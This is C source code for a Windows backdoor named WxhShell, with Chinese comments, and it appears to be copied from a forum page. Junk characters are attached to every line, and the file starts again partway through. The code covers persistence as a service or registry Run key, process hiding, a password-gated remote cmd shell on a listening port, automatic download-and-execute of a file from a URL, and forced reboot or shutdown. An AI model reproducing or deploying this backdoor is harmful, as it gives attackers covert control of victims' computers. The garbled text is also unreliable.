  // 关机 AXlVH%'  
  case 'd': { S~3|1Hw*tN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Rge>20uTl$  
    if(Boot(SHUTDOWN)) wOf8\s1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  tKV,  
    else { +VkL?J  
    closesocket(wsh); 8._uwA<[  
    ExitThread(0); IAQ<|3Q  
    } (F&LN!Hn>p  
    break; EIRDH'[L  
    } b=5w>*  
  // 获取shell 3Z?ornS  
  case 's': { 5mZ2CDV  
    CmdShell(wsh); TLsF c^X  
    closesocket(wsh); NA0nF8ek  
    ExitThread(0); |`o|;A]  
    break; bo|THS  
  } 1D 'r;`z  
  // 退出 8{ZTHY -  
  case 'x': {  @/s|<*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5?^#v  
    CloseIt(wsh); r]!#v{#.  
    break; k ;^$Pd?t  
    } z6R|1L 1  
  // 离开 p-i Fe\+  
  case 'q': { _{jC?rzb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q$U5[ TZm  
    closesocket(wsh); (X "J)x aQ  
    WSACleanup(); hP)Zm%@0f  
    exit(1); C][$0  
    break; 9qftMDLZJ\  
        } F%6wdM W  
  } o-@01_j  
  } 6bPxEILm  
UDJjw  
  // 提示信息 S($/Ov  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %C/p+Tg  
} #%[;v K  
  } on 7 n4  
v":q_w<k  
  return; :6Nb,Hh~  
} 1%v6d !  
|<u+Xi ~  
// shell模块句柄 cANt7  
int CmdShell(SOCKET sock) cTq@"v di  
{ or*{P=m+R  
STARTUPINFO si; gHPJiiCv  
ZeroMemory(&si,sizeof(si)); @mCe{r*`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4;AF\De  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $bG*f*w  
PROCESS_INFORMATION ProcessInfo; Br!;Ac&N  
char cmdline[]="cmd"; HS <Jp44  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ><}nZ7  
  return 0; 7Vy_Cec1  
} u1 Q;M`+>  
+ALrHFG  
// 自身启动模式 @/:4beh  
int StartFromService(void) ~s+vJvWz  
{ )7& -DI1  
typedef struct &#e;`(*  
{ bW=q G  
  DWORD ExitStatus; i9L]h69r  
  DWORD PebBaseAddress; 4z(~)#'^  
  DWORD AffinityMask; yn\c;Z  
  DWORD BasePriority; Ss%Cf6qdWL  
  ULONG UniqueProcessId; g)#?$OhP"  
  ULONG InheritedFromUniqueProcessId; G*4I;'6  
}   PROCESS_BASIC_INFORMATION; c K\   
x eFx!$3  
PROCNTQSIP NtQueryInformationProcess; ee? d ?:L  
>8"(go+02  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zb{79Os[B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A M[f  
zd[k|lj  
  HANDLE             hProcess; C>Hdp_Lm  
  PROCESS_BASIC_INFORMATION pbi; i6WPf:#wr  
*>a=ku:?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WOn<;'}M&  
  if(NULL == hInst ) return 0; bN/8 ~!  
R>0[w$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u:APGR^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n$C- ^3 c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9jjeZc'  
w(V%EEk  
  if (!NtQueryInformationProcess) return 0; (B4)L%  
i?!9%U!z4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b,+Sa\j)(  
  if(!hProcess) return 0; av!;k2"  
C4(xtSJSd!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; q\<l"b z  
%nkP" Z#  
  CloseHandle(hProcess); ;D~#|CB  
NWn*_@7;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QQW}.>N  
if(hProcess==NULL) return 0; :6(\:  
)G)6D"5,+G  
HMODULE hMod; RyK~"CWT  
char procName[255]; uaO.7QSwN  
unsigned long cbNeeded; w8X5kk   
y-26\eY^P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l+6c|([  
8e-nzc,]  
  CloseHandle(hProcess); )>1}I_1j)  
+UDt2  
if(strstr(procName,"services")) return 1; // 以服务启动 {`D]%eRO  
~Y`ys[Z m  
  return 0; // 注册表启动 D`@a*YIq  
} wKpBH}  
Q$ew.h  
// 主模块 N~flao^  
int StartWxhshell(LPSTR lpCmdLine) Nqj@p<y/q  
{ 4 *}H3-`  
  SOCKET wsl; vCi`htm%  
BOOL val=TRUE; zH~P-MqC  
  int port=0; MJiVFfYW  
  struct sockaddr_in door; ntH`\ )xi  
F2 B(PGa7  
  if(wscfg.ws_autoins) Install(); Cdz?+hb  
0 8)f  
port=atoi(lpCmdLine); \H .Cmm^I  
[@9S-$Xa  
if(port<=0) port=wscfg.ws_port; #; !@Pf  
UWO3sZpU  
  WSADATA data; p K-tj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }ex4dhx2M  
(W h)Ov"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _6fy'%J=U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?w(hPUd!2  
  door.sin_family = AF_INET; D\5+2 G  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \'Ca1[y@B  
  door.sin_port = htons(port); sAc1t`  
R*pPUw\yn  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KS8@A/f  
closesocket(wsl); i@+m<YS:2>  
return 1; )tBz=hy#  
} _p8u &TZ  
+A8q.-N G  
  if(listen(wsl,2) == INVALID_SOCKET) { .T7CMkYt  
closesocket(wsl); zd%f5L('  
return 1; xy:Mb =r  
} FQ 0&{ulb  
  Wxhshell(wsl); QD0x^v8  
  WSACleanup(); KWo Ps%G  
R{c~jjd  
return 0; 5, ,'hAq_  
!@lx|= #  
} a!bW^?PcK  
U Y*`R  
// 以NT服务方式启动 BR|0uJ.M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ].rKfv:  
{ 5 <k)tF%  
DWORD   status = 0; w\i]z1  
  DWORD   specificError = 0xfffffff; C')KZ|JIC  
iT&4;W=72~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; rSv,;v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GcN}I=4|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Lx>[`QT  
  serviceStatus.dwWin32ExitCode     = 0; +- qk\sQ  
  serviceStatus.dwServiceSpecificExitCode = 0; ez32k[eV!  
  serviceStatus.dwCheckPoint       = 0; \bT0\ (Js\  
  serviceStatus.dwWaitHint       = 0; }*bp4<|  
<eEIR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B](R(x>L  
  if (hServiceStatusHandle==0) return; 33<{1Y[Q6E  
3!F^ vZ.  
status = GetLastError(); G~y:ZEnN[  
  if (status!=NO_ERROR) OB9E30  
{ &S xF"pYV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8SRUqe[H]  
    serviceStatus.dwCheckPoint       = 0; fNi&r0/-t  
    serviceStatus.dwWaitHint       = 0; eV!(a8  
    serviceStatus.dwWin32ExitCode     = status; ! 7V>gWhR  
    serviceStatus.dwServiceSpecificExitCode = specificError; H_@6!R2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); xGyl7$J  
    return; *bo| F%NAz  
  } kttJTP77t  
{Y5@SI yE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B`)sc ~u  
  serviceStatus.dwCheckPoint       = 0; uxn+.fA  
  serviceStatus.dwWaitHint       = 0; mC@v,"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H0&wn#);6R  
} *~GI-h  
=c \(]xX  
// 处理NT服务事件,比如:启动、停止 f|(9+~K/7&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Il4]1d|  
{ J>#hu3&UOQ  
switch(fdwControl) ~x(|'`  
{ iLv -*%%  
case SERVICE_CONTROL_STOP: 3r#['UmT  
  serviceStatus.dwWin32ExitCode = 0; :%9R&p:'ar  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P7W|e~]Yq  
  serviceStatus.dwCheckPoint   = 0; ?,7!kTRH  
  serviceStatus.dwWaitHint     = 0; cZ)JvU9]  
  { ]v}W9{sY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vfn[&WN]  
  } o:v_I{  
  return; !S&/Zp  
case SERVICE_CONTROL_PAUSE: ?@PSD\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e46`"}r  
  break; |pZ7k#%  
case SERVICE_CONTROL_CONTINUE: ]8wm1_qV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PeIi@0vA  
  break; j]&Qai~}Y  
case SERVICE_CONTROL_INTERROGATE: GU`q^q@Ea  
  break; ?i_/f}.K  
}; } Ifa5Lq)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z[VrRT,\c  
} 0xDn!  
I}u\ov_Su  
// 标准应用程序主函数 0`.&U^dG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U}:+Hz9  
{ i 1w ]j  
evZP*N~G  
// 获取操作系统版本 DqY"N ]  
OsIsNt=GetOsVer(); l"JM%LV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @ NDcO,]  
K:-jn}i?/  
  // 从命令行安装 ~D5FnN9  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]:@{tX 7c  
m4h)Wq  
  // 下载执行文件 An#[ +?  
if(wscfg.ws_downexe) { Y?1T XsvF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZzBaYoNy[0  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y*pXbztP  
} V?*fl^f  
v+xrn z  
if(!OsIsNt) { 8J&9}@y  
// 如果时win9x,隐藏进程并且设置为注册表启动 z[ ;n2o|s  
HideProc(); nLAwo3  
StartWxhshell(lpCmdLine); [4C_iaE  
} 2k=|p@V n~  
else Has}oe[  
  if(StartFromService()) ^L.I9a#]  
  // 以服务方式启动 6oQ7u90z*  
  StartServiceCtrlDispatcher(DispatchTable); y`$qcEw  
else 'LG\]h>+)  
  // 普通方式启动 aC=2v7*  
  StartWxhshell(lpCmdLine); !Z>,dN  
#t Uhul/O  
return 0; bA 0H  
} d~_5Jx  
:9L}jz  
yqK_|7I+  
$X:,Q,?  
=========================================== EP;ts  
c{to9Lk.#  
~X2 # z |  
~)$R'=  
VJ'-"8tY&  
jqvw<+#  
"  ~}p k^FA  
E`HA0/  
#include <stdio.h> s \3]0n9  
#include <string.h> `Ivt)T+n;  
#include <windows.h> n(z$u)Y  
#include <winsock2.h> A #SO}c  
#include <winsvc.h> c)Ef]E\  
#include <urlmon.h> 9wc\~5{li  
"i&n;8?Y  
#pragma comment (lib, "Ws2_32.lib") jxW/"Q   
#pragma comment (lib, "urlmon.lib") )IK%Dg(v  
i@P= *lLD  
#define MAX_USER   100 // 最大客户端连接数 "Ltp]nCR  
#define BUF_SOCK   200 // sock buffer xzz@Wc^_  
#define KEY_BUFF   255 // 输入 buffer M@q)\UQ'  
$A74V [1^  
#define REBOOT     0   // 重启 kz1Z K  
#define SHUTDOWN   1   // 关机 qooTRqc#,  
n&]J-^Tx  
#define DEF_PORT   5000 // 监听端口 Z>w@3$\z  
:-+][ [  
#define REG_LEN     16   // 注册表键长度 _}\KC+n8  
#define SVC_LEN     80   // NT服务名长度 ~FI} [6Dd  
Bk.`G)t  
// 从dll定义API l0yflFGr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y#Nrq9r:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S]T71W<i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p}GTOJT}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JSh'iYJ .  
H.n|zGQTB  
// wxhshell配置信息 GRL42xp'*D  
struct WSCFG { { ~{D(k  
  int ws_port;         // 监听端口 V^D 1:9i  
  char ws_passstr[REG_LEN]; // 口令 #0*I|gfV  
  int ws_autoins;       // 安装标记, 1=yes 0=no n|=yw6aV'  
  char ws_regname[REG_LEN]; // 注册表键名 b!SIs*  
  char ws_svcname[REG_LEN]; // 服务名 "/^kFsvp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s#0m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T|oDJ]\J  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /YwwG;1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 26zif  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uGlz|C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 M>RLS/r>d  
NJ}x qg  
}; uY3$nlhP6  
1Ogtzf  
// default Wxhshell configuration h9c7P@29  
struct WSCFG wscfg={DEF_PORT, tx3p, X  
    "xuhuanlingzhe", ;F,6]LH!  
    1, -jTK3&5  
    "Wxhshell", >i1wB!gc8  
    "Wxhshell", A}pe>ja   
            "WxhShell Service", [daR)C  
    "Wrsky Windows CmdShell Service", LWM& k#i  
    "Please Input Your Password: ", 86&r;c:  
  1, `i!-@WN"  
  "http://www.wrsky.com/wxhshell.exe", Q3)[ *61e  
  "Wxhshell.exe" E9 #o0Di  
    }; I[ZWOi\- ;  
uWXxK"J.  
// 消息定义模块 $:D L+E-}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0B`rTLwB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _#P5j#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eBECY(QMQ  
char *msg_ws_ext="\n\rExit."; g2r8J0v  
char *msg_ws_end="\n\rQuit."; 1*@Q~f:Uk  
char *msg_ws_boot="\n\rReboot..."; G in  
char *msg_ws_poff="\n\rShutdown..."; \=W t{  
char *msg_ws_down="\n\rSave to "; {2|sk9?W  
H:1F=$0I9  
char *msg_ws_err="\n\rErr!"; kP~ ;dJD  
char *msg_ws_ok="\n\rOK!"; 9fSX=PVRmQ  
p_3VFKq>0  
char ExeFile[MAX_PATH]; ON_G D"  
int nUser = 0; {\!@ k\__  
HANDLE handles[MAX_USER]; #>$w9}gFi  
int OsIsNt; 97 !VH> MX  
W9SEYkg  
SERVICE_STATUS       serviceStatus; CBx5:}t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {-5 b[m(  
N;,N6&veK/  
// 函数声明 yF&?gPh&  
int Install(void); n-lDE}K9%B  
int Uninstall(void); l]e7  
int DownloadFile(char *sURL, SOCKET wsh); CH h6Mnw  
int Boot(int flag); TlBu3z'P  
void HideProc(void); }5;3c%  
int GetOsVer(void); V :4($  
int Wxhshell(SOCKET wsl); 5HbPS%^.  
void TalkWithClient(void *cs); o|a]Q  
int CmdShell(SOCKET sock); fNi_C"<  
int StartFromService(void); 2! bE|  
int StartWxhshell(LPSTR lpCmdLine); flfE~_  
RE:$c!E!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Riz!HtyR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &4l >_  
9=^4p=1J  
// 数据结构和表定义 .l&<-l;UQ  
SERVICE_TABLE_ENTRY DispatchTable[] = </d&bS  
{ Rh#TR"  
{wscfg.ws_svcname, NTServiceMain}, X=OJgyO/  
{NULL, NULL} aib)ItNb  
}; OK9D4 7X  
Os7 3u#!'  
// 自我安装 ODqWXw#  
int Install(void) 6JL:p{RLi  
{ v:] AS:  
  char svExeFile[MAX_PATH];  TBqJ.a  
  HKEY key; Mio~CJ"?  
  strcpy(svExeFile,ExeFile); 1G+ ?/w  
!tD,phca~  
// 如果是win9x系统,修改注册表设为自启动 {YgB?kt5  
if(!OsIsNt) { }h)[>I(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bQM_rqjJGw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7^:0?Q  
  RegCloseKey(key); 3~!PJI1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R'r^v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lFL iW  
  RegCloseKey(key); gobqS+c  
  return 0; KI Ua  
    } wKAc ;!  
  } (Sg52zv  
} \uV;UH7qe  
else { FPPGf!Eq  
nMHs5'_y  
// 如果是NT以上系统,安装为系统服务 $.@)4Nu!_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ztS'Dp}q<  
if (schSCManager!=0) O8:,XTAN  
{ LA^H213N|  
  SC_HANDLE schService = CreateService xcYYo'U  
  ( &Qdd\h#  
  schSCManager, AiO29<  
  wscfg.ws_svcname, 0TI+6u  
  wscfg.ws_svcdisp, P}QuGy[  
  SERVICE_ALL_ACCESS, uB:utg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , l0$ +)FKd  
  SERVICE_AUTO_START, COK7 i^  
  SERVICE_ERROR_NORMAL, u{ .UZTn  
  svExeFile, v2Bks 2  
  NULL, r'q9N  
  NULL, ,2%>e"%  
  NULL, 8BZDaiE"  
  NULL, S|%f<zAtJ  
  NULL "syf@[tz7  
  ); /\KB*dX  
  if (schService!=0) Gx GZxf*(  
  { %h%^i   
  CloseServiceHandle(schService); s^$zO p9  
  CloseServiceHandle(schSCManager); <3>Ou(F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xCV3HnZ  
  strcat(svExeFile,wscfg.ws_svcname); =ITMAC\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <zK9J?ZQW>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oY{r83h{  
  RegCloseKey(key); h&vq}  
  return 0; |f~p3KCfV  
    } 'I_\ELb_  
  } 5xHl6T+  
  CloseServiceHandle(schSCManager); r=+r5k"`  
} H{P"$zj`l  
} M+ gYKPP  
|vnfY; ;z1  
return 1; <c6C+OWT,  
} k]"Rg2>%  
,g$N  
// 自我卸载 Ee##:I[z  
int Uninstall(void) X] /r'Tz  
{ s Hu~;)  
  HKEY key; '@iS5Fni  
~J6c1jG  
if(!OsIsNt) { dt  4_x1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ss&R!w9p  
  RegDeleteValue(key,wscfg.ws_regname); jv]:`$}G\  
  RegCloseKey(key); rK2*DuE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 |N&Y  
  RegDeleteValue(key,wscfg.ws_regname); $N=A,S  
  RegCloseKey(key); G~e`O,+  
  return 0; c]W]m`:  
  } m4 *Rr  
} cV5Lp4wY?  
} @qH<4`y.^  
else { (+9_nAgZ,  
HQ+:0" B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Tp`by 1s  
if (schSCManager!=0) s"G6aM  
{ ^=wG#!#V"1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~OEP)c\k  
  if (schService!=0) g0^%X9s  
  { #uT-_L}s w  
  if(DeleteService(schService)!=0) { $_l@k=  
  CloseServiceHandle(schService); 0bpl3Fh.v  
  CloseServiceHandle(schSCManager); Db= iJ68  
  return 0; ZSMOq4Y 9  
  } %u43Pj  
  CloseServiceHandle(schService); >"S'R9t  
  } `{/z\  
  CloseServiceHandle(schSCManager); LeY\{w  
} HT5G HkT  
} ])a?ri  
ab' f:  
return 1; V2'(}k  
} #T n~hnW  
(6?pBdZ  
// 从指定url下载文件 VzMoWD;  
int DownloadFile(char *sURL, SOCKET wsh) t}`|\*a  
{ 'UT 4x9&z  
  HRESULT hr; !o&Mw:d  
char seps[]= "/"; `yHV10  
char *token; ~^IS{1  
char *file; /z,sM"d  
char myURL[MAX_PATH]; z8mR< q%`  
char myFILE[MAX_PATH]; +tOBt("5/  
s%J|r{F6  
strcpy(myURL,sURL); abCcZ<=|b  
  token=strtok(myURL,seps); ?4_^}B9  
  while(token!=NULL) :*6tbUp  
  { l<{]%=Qg  
    file=token; ^C@uP9g  
  token=strtok(NULL,seps); L$@^EENS  
  } 6$b"tdP  
>wM%|j'  
GetCurrentDirectory(MAX_PATH,myFILE); SA{A E9y  
strcat(myFILE, "\\"); ZsUxO%jP  
strcat(myFILE, file); Cfb/f]*M  
  send(wsh,myFILE,strlen(myFILE),0); zpIl'/ i  
send(wsh,"...",3,0); 2:/'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2 ,;+)  
  if(hr==S_OK) EH]5ZZ[Z  
return 0; pH?VM&x  
else RWXj)H)w  
return 1; F1)Q#ThF\  
,$sq]_t  
} Hv<%_t_/  
l8%x(N4  
// 系统电源模块 iH( K[F /  
int Boot(int flag) W UdKj  
{ OsAXHjX}  
  HANDLE hToken; czb(&><  
  TOKEN_PRIVILEGES tkp; QO7 > XHn  
5}~*,_J2Z  
  if(OsIsNt) { oFHVA!lqe  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9ToM5oQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q[1H=+  
    tkp.PrivilegeCount = 1; 1U~AupHE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -Z<e`iFQS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n@5pS3qZ  
if(flag==REBOOT) { brNe13d3~"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )~O{jd  
  return 0; wQp,RpM  
} JXGIVH?Rpu  
else { iX.=8 ~3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rmn|"ZK  
  return 0; X!CLOHVA a  
} >;HbD p  
  } \h :Rw|  
  else { Zo;@StN3}T  
if(flag==REBOOT) { =1^Ru*G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *WfOB2rU  
  return 0; + yS"pOT  
} q uv`~qn  
else { bI@+Or  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W]_+3qvZ  
  return 0; PFG):i-?  
} Z,,Da|edH  
} BYVp~!u  
}%y_Lc L  
return 1; xh @H@Q\  
} ?9v!UT&#  
y*\ M7}](  
// win9x进程隐藏模块 h^~eTi;c]Q  
void HideProc(void) ~0|~Fg  
{ L`x:Y>C(  
Fmt5"3B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mv SNKS  
  if ( hKernel != NULL ) 6}x^ T)R  
  { `wB(J%w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sryujb.,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0UWLs_k:  
    FreeLibrary(hKernel); _7]5 Q  
  } E7^tU416  
')bx1gc(?  
return; o&;+!Si@T  
} 2*Z~J M  
P) ^K&7X  
// 获取操作系统版本 ;r- \h1iA'  
int GetOsVer(void) 6O$OM  
{ MrLDe {^C2  
  OSVERSIONINFO winfo; Y$Js5K@F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @a>+r1  
  GetVersionEx(&winfo); ECg/ge2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9:fVHynr  
  return 1; > g8;x#  
  else z:RwCd1\  
  return 0; M)I&^mm39  
} 5U3="L  
k2<VUeW5  
// 客户端句柄模块 \ zhT1#O  
int Wxhshell(SOCKET wsl) H]UM2.  
{ Qgo0uu M  
  SOCKET wsh; lx U}HM  
  struct sockaddr_in client; }v0oFY$u`H  
  DWORD myID; c(ZkK  
!7AW_l9`i  
  while(nUser<MAX_USER) [*vk&  
{ B:qZh$YN  
  int nSize=sizeof(client); aMZ6C <N  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); b,KQG|k  
  if(wsh==INVALID_SOCKET) return 1; T9RR. ng  
/ta-jOcRH&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q++lgVh)E  
if(handles[nUser]==0) FFR_1Vf  
  closesocket(wsh); K$ #(\-M  
else -g;iMqh#  
  nUser++; RQ9fA1YP  
  } JT[|l-\zo  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); '<>pz<c  
,U],Wu)  
  return 0; PM7*@~.  
} HR\yJt  
< I8hy$+6  
// 关闭 socket {/XzIOO;b  
void CloseIt(SOCKET wsh) p!|Wp  
{ >Ah [uM  
closesocket(wsh); B6MMn.  
nUser--; ysGK5kFz  
ExitThread(0); asj^K|.z  
} O6Xu/X]  
4}W*,&_  
// 客户端请求句柄 #&1mc_`/  
void TalkWithClient(void *cs) 4@/[aFH  
{ h[ba$S,T  
z1T.\mzfX  
  SOCKET wsh=(SOCKET)cs; BtVuI5*h  
  char pwd[SVC_LEN]; 5mnIQ~psR  
  char cmd[KEY_BUFF]; E2LpQNvN%g  
char chr[1]; <[8at6;  
int i,j; ?bmP<(N5/  
T.`EDluG  
  while (nUser < MAX_USER) { .N5}JUj  
c:>&Bg&,6T  
if(wscfg.ws_passstr) { u~bk~ 3.I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l yF~E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); DN;g2 R`f  
  //ZeroMemory(pwd,KEY_BUFF); vbmi_[,U  
      i=0; <^ @1wg  
  while(i<SVC_LEN) { la</IpC  
,wlF n  
  // 设置超时 XcR2]\  
  fd_set FdRead; 9y>dDNM\<  
  struct timeval TimeOut; GBHv| GO  
  FD_ZERO(&FdRead); b5No>U) /  
  FD_SET(wsh,&FdRead); +a"MSPC4w  
  TimeOut.tv_sec=8; x`WP*a7Fk]  
  TimeOut.tv_usec=0; x: `oqbd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ucL}fnY1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .,o=#  
 J5*krH2i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  pzg|?U  
  pwd=chr[0]; (}V.xi  
  if(chr[0]==0xd || chr[0]==0xa) { '.c [7zL  
  pwd=0; Ldf<  
  break; :+bQPzL  
  } ,gUSW  
  i++; [ZZ~^U5  
    } Kxn/@@z>u  
%qV=PC  
  // 如果是非法用户,关闭 socket O B_g:T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xg^`fRg =T  
} UP58Cln*  
X#Y0g`muW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =XzrmPu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GXr9J rs.e  
K#%L6=t$<  
while(1) { :p;!\4)u  
Ew*_@hVC  
  ZeroMemory(cmd,KEY_BUFF); <ZSH1~<{6  
V\W?@V9g-  
      // 自动支持客户端 telnet标准   x{*g^f  
  j=0; kl?U 2A.=  
  while(j<KEY_BUFF) { SGXXv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f<=<:+  
  cmd[j]=chr[0]; S*Qip,u  
  if(chr[0]==0xa || chr[0]==0xd) { %\6|fKB4 <  
  cmd[j]=0; :rk=(=@8`  
  break; n!2"pRIi  
  } 3%bCv_6B  
  j++; )M<"YI)g  
    } -+Axa[,5=  
g j8rrd |  
  // 下载文件 ?T3zA2  
  if(strstr(cmd,"http://")) { ^ r-F@$:.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }3E@]"<cVR  
  if(DownloadFile(cmd,wsh)) Oz'x5/%G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^HgQ"dD <  
  else , ;W6wj  
